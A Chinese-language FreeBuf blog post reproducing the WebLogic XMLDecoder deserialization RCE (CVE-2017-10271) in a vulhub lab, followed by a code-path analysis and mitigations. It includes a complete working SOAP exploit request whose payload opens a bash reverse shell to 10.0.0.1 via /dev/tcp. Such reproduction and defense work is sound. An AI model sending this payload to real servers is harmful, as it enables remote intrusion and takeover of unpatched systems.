freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞复现
2023-07-20 08:49:29
所属地 北京

WebLogic(CVE-2017-10271)漏洞复现

1.简介

1.1 漏洞形成原因

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

1.2 漏洞说明

1.2 漏洞说明

漏洞详细信息
受影响版本Weblogic 10.3.6.0, Weblogic 12.1.3.0, Weblogic 12.2.1.2, Weblogic 12.2.1.3
漏洞名称WebLogic XMLDecoder反序列化漏洞
漏洞编号CVE-2017-10271
危害等级高危
CVSS评分10
漏洞类型RCE

1.3漏洞利用

利用服务器的XMLDecoder可以解析XML数据这一特性,可以构造XML语句,上传一句话木马,getshell。

2.漏洞复现

2.1 环境搭建

系统脚本工具
kali(2023)CVE-2017-10271docker

环境:https://pan.baidu.com/s/17x0a5gIZK_2IgDQqWe_zHg提取码:xsc3

https://vulhub.org/#/environments/weblogic/CVE-2017-10271/

1689813663_64b8829fd7f0be5cf9539.png!small?1689813664574

访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动。

1689813671_64b882a7a3ba75a0abbd2.png!small?1689813672292

访问/wls-wsat/CoordinatorPortType

1689813680_64b882b085af28b4fdcaf.png!small?1689813681155

2.2 漏洞验证

漏洞poc

发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

1689813694_64b882be710fd7bc2ecba.png!small?1689813695199

2.3 nc监听

1689813703_64b882c729f10ce3131f3.png!small?1689813703559

2.4获取shell

1689813717_64b882d54feca0a415ed9.png!small?1689813718003

1689813722_64b882da51b915ff2077b.png!small?1689813723240

3 漏洞分析

此次漏洞出现在wls-wsat.war中,此组件使用了weblogic自带的webservices处理程序来处理SOAP请求。然后在

weblogic.wsee.jaxws.workcontext.WorkContextServerTube

类中获取XML数据传递给XMLDecoder来解析。

解析XML的调用链为

weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest

weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld

weblogic.wsee.workarea.WorkContextXmlInputAdapter

首先看到weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法

1689813781_64b8831506bd772079312.jpg!small?1689813781586

获取到localHeader1后传递给readHeaderOld方法,其内容为<work:WorkContext>所包裹的数据,然后继续跟进weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld方法

1689813822_64b8833ebb6a8467cb2e6.jpg!small?1689813824193

在此方法中实例化了WorkContextXmlInputAdapter类,并且将获取到的XML格式的序列化数据传递到此类的构造方法中,最后通过XMLDecoder来进行反序列化操作。

1689813836_64b8834c01fa1c2bc1861.jpg!small?1689813836393

关于XMLDecoder的反序化问题13年就已经被人发现,近期再次被利用到Weblogic中由此可见JAVA生态圈中的安全问题是多么糟糕。值得一提的是此次漏洞出现了两处CVE编号,因为在Oracle官方在修复CVE-2017-3506所提供的patch只是简单的检查了XML中是否包含了节点,然后将换为即可绕过此补丁。因此在修复过程中用户一定要使用Oracle官方十月份所提供的patch。

4 漏洞防御

  1. 临时解决方案 根据业务所有需求,考虑是否删除WLS-WebServices组件。包含此组件路径为:

Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

Middleware/wlserver_10.3/server/lib/wls-wsat.war

以上路径都在WebLogic安装处。删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/是否为404页面。

2.官方补丁修复 前往Oracle官网下载10月份所提供的安全补丁。


参考资料:

Tom4t0.github.io/_posts/2017-12-22-WebLogic WLS-WebServices组件反序列化漏洞分析.md at master · Tom4t0/Tom4t0.github.io · GitHub

Vulhub - Docker-Compose file for vulnerability environment

# 渗透测试 # 网络安全 # web安全 # 系统安全 # 数据安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录